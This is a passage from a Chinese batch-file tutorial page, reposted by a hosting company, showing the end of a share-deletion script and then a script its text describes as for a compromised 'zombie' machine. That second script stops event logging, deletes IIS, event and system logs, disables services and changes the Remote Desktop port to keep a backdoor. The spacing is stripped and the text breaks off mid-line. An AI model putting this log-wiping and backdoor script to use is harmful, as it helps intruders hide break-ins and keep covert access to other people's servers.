学习使用批处理文件的意义第1/2页
作者 佚名
来源 批处理
浏览
发布时间 2013-07-09
hare%5$/delete netshare%6$/delete netshare%7$/delete netshare%8$/delete netshare%9$/delete netstopServer netstartServer echo. echoAlltheshareshavebeendeleteed echo. echo------------------------------------------------------ echo. echoNowmodifytheregistrytochangethesystemdefaultproperties. echo. echoNowcreatingtheregistryfile echoWindowsRegistryEditorVersion5.00>c:\delshare.reg echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>>c:\delshare.reg echo"AutoShareWks"=dword:00000000>>c:\delshare.reg echo"AutoShareServer"=dword:00000000>>c:\delshare.reg echoNowingusingtheregistryfiletochangthesystemdefaultproperties. regedit/sc:\delshare.reg echoDeletingthetemprotarilyfiles. delc:\delshare.reg goto:END :Usage echo. echo------------------------------------------------------ echo. echo☆Aexampleforbatchfile☆ echo☆[Usebatchfiletochangethesysytemshareproperties.]☆ echo. echoAuthor:Ex4rch echoMail:Ex4rch@hotmail.comQQ:1672602 echo. echoError:Notenoughparameters echo. echo☆Pleaseenterthesharediskyouwannadelete☆ echo. echoForinstance,todeletethedefaultshares: echodelsharecdeipcadminprint echo. echoIfthedisklableisnotasC:D:E:,Pleasechangityouself. echo. echoexample: echoIflocakdisklableareC:D:E:X:Y:Z:,youshouldchangthecommandinto: echodelsharecdexyzipcadminprint echo. echo***youcandeleteninesharesonceinauseing*** echo. echo------------------------------------------------------ goto:EOF :END echo. echo------------------------------------------------------ echo. echoOK,delshare.bathasdeletedalltheshareyouassigned. echo.Anyquestions,feelfreetomailtoEx4rch@hotmail.com. echo echo. echo------------------------------------------------------ echo. :EOF echoendofthebatchfile ------------------------cutherethensaveas.bator.cmdfile--------------------------- ------------------------cutherethensaveas.bator.cmdfile--------------------------- 下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnalservice留跳后路。 @regedit/spatch.dll @netstopw3svc @netstopeventlog @delc:\winnt\system32\logfiles\w3svc1\*.*/f/q @delc:\winnt\system32\logfiles\w3svc2\*.*/f/q @delc:\winnt\system32\config\*.event/f/q @delc:\winnt\system32dtclog\*.*/f/q @delc:\winnt\*.txt/f/q @delc:\winnt\*.log/f/q @netstartw3svc @netstarteventlog @rem[删除日志] @netstoplanmanserver/y @netstopSchedule/y @netstopRemoteRegistry/y @delpatch.dll @echoTheserverhasbeenpatched,Havefun. @delpatch.bat @REM[禁止一些危险的服务。] @echo[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp]>>patch.dll @echo"PortNumber"=dword:00002010>>patch.dll @echo[HKEY_LOCAL_MACHINE |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
上一篇: 用批处理实现映射盘网络盘为固定盘符,请更改冲突的硬盘盘符下一篇: win32下的命令行集合
关于学习使用批处理文件的意义第1/2页的所有评论